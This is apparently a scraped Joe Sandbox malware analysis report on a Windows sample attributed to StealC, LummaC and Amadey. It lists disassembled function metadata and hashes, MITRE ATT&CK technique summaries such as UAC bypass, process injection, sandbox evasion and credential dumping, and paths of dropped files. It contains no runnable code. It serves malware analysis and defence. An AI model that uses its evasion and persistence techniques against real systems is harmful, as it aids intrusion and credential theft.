Function 04B50DE4 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87bf4ba13afabde21d3c864df725bc1ef24b87924414cd51f11b20f6621925ea
Instruction ID: 3039baf763fa637c0e0698ca1206ce04bddefe794521692bb8ab9bb379e84a2f
Opcode Fuzzy Hash: 87bf4ba13afabde21d3c864df725bc1ef24b87924414cd51f11b20f6621925ea
Instruction Fuzzy Hash: 96F01DEBA8C110BC704165823B18AFAEB6EF2D67303708C66F807C0552B2981F5D3032

Function 04B50DD4 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ab19b8d7ec02c61e8378d973f5f9b210f50e8c49440cfe300fc5601565bed7c
Instruction ID: 3781265ffb6b72eeca3a4e41b03e524d55312f1879d211df5255e993a9c9e976
Opcode Fuzzy Hash: 3ab19b8d7ec02c61e8378d973f5f9b210f50e8c49440cfe300fc5601565bed7c
Instruction Fuzzy Hash: 02F012EB64C110BCB14165512B18ABAE72DF1D67303708D57FC13D1552F2986F5D7131

Function 04B50DFA Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2660007795.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4b50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbe3736f5d3b9c6457fd6f83938f46b69c51361c952339fa3a0840653da13fa6
Instruction ID: da8c729e45cf040a9156e9bc58fae15c6041cbc628311e3c699832bd63e8803e
Opcode Fuzzy Hash: bbe3736f5d3b9c6457fd6f83938f46b69c51361c952339fa3a0840653da13fa6
Instruction Fuzzy Hash: 77F0B4F7A4C2146D6181A19137197FAAB1EE2C63303308897FC03D55A2E2891A5D7032

Non-executed Functions

Function 00FDCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00FDCF52,?,?,?,?,00FDCF87,?,?,?,?,?,?,00FDC4FD,?,00000001), ref: 00FDCC03

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 1f947cedf04bfd13bed0b8d495dab46aae77ef7480c5d54d064337a2f171b966
Instruction ID: 869742c9eb22208cbfa2683e96b64d6c7b87c8541680741327dfef364d2c6aa4
Opcode Fuzzy Hash: 1f947cedf04bfd13bed0b8d495dab46aae77ef7480c5d54d064337a2f171b966
Instruction Fuzzy Hash: A8D02233A42038938A213A98EC009ECBB49DA00B787094023FA0823218CB666C80BFD4

Function 00FF652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97537fefc6a3018a3ba7d104493914090150619c429cf0dc8a0892c0c7f0d047
Instruction ID: ffe0f7b25a57af97aa5a8f60ca8f0285fb2cbd85c7d29cd02b1ab010b188382d
Opcode Fuzzy Hash: 97537fefc6a3018a3ba7d104493914090150619c429cf0dc8a0892c0c7f0d047
Instruction Fuzzy Hash: 52E08C3040014CAECF25BB58C859A683B69EF41B59F584810FA1896632CF2AED81EA90

Function 00FFA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 5c48175d41d0b2cfe3583a1b7f970778b1bfe416dfa6535d22585d010cbc0d1a
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 04E08CB292122CEBCB15DB98C9049AAF3ECEF49B10B65009AF605D3160C2B4DE00D7D1

Function 00FF4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00FF4877
___except_validate_context_record.LIBVCRUNTIME ref: 00FF487F
_ValidateLocalCookies.LIBCMT ref: 00FF4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00FF4933
_ValidateLocalCookies.LIBCMT ref: 00FF4988

Strings

csm, xrefs: 00FF491D

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: cbf27c7e5a52a7a4e6759d7a6790224118433715e40d0192657c6d411a2ae6af
Instruction ID: f449fc5675c4a84f46460b0191028f8683ca73097305b400776dae594d9bfbb5
Opcode Fuzzy Hash: cbf27c7e5a52a7a4e6759d7a6790224118433715e40d0192657c6d411a2ae6af
Instruction Fuzzy Hash: 90510B30E0010D9BCF20DF68C880ABF7BB5AF45324F148095EA589B3A2D776EE55DB91

Function 00FC2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00FC2F5F
__Mtx_unlock.LIBCPMT ref: 00FC2FCC
__Cnd_broadcast.LIBCPMT ref: 00FC2FE3
__Mtx_unlock.LIBCPMT ref: 00FC30F5
__Mtx_unlock.LIBCPMT ref: 00FC319B

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: dec61ac25efe3c9b0669c47ae6b9e5db851165afc3e70b124e56233b687c3ff9
Instruction ID: 89fb16c837ef8eff656852560d1c35840cb35d1c814fac6866465fb53ebd9154
Opcode Fuzzy Hash: dec61ac25efe3c9b0669c47ae6b9e5db851165afc3e70b124e56233b687c3ff9
Instruction Fuzzy Hash: 11A1E071E002069FDB20DF64CA46B5AB7A9FF15364F18812EE815D7341EB35EA04EBD1

Function 00FFCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FFCC66

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: d6d331bd5d0874da61acb3429d7b2fe3f7b3ecc9f19fcd7faa45308ca56e0c35
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: ABB14332D006AE9FDB11CF28C9807BEBBE5EF55350F14806ADA54EB2A1D6348D01DBA0

Function 00FDBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00FDBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00FDBBE4
_xtime_get.LIBCPMT ref: 00FDBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00FDBC13

Memory Dump Source

Source File: 00000006.00000002.2641659878.0000000000FC1000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000006.00000002.2640618542.0000000000FC0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2641659878.0000000001022000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642451822.0000000001029000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000102B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.000000000129C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012CB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012D2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2642683430.00000000012E2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2645965079.00000000012E3000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647631183.0000000001484000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.2647933199.0000000001486000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fc0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 761bc9f27d1d6ee9d3bca2b3ecb7586bc50ace8e848e17025c7964758ad06ad6
Instruction ID: 526a193c3e2f7ccb0a09b36bcd66b7a91eed95eede7dcd2c10cbc43c203e6603
Opcode Fuzzy Hash: 761bc9f27d1d6ee9d3bca2b3ecb7586bc50ace8e848e17025c7964758ad06ad6
Instruction Fuzzy Hash: 63212A71A0010AAFDF01EFA4CC81ABEB7BAEF08710F550026F905A7351DB389D01ABA0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4264524541.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SWB92CTM4OIX4M9DCKIEYGOPF.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\de057a4668.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

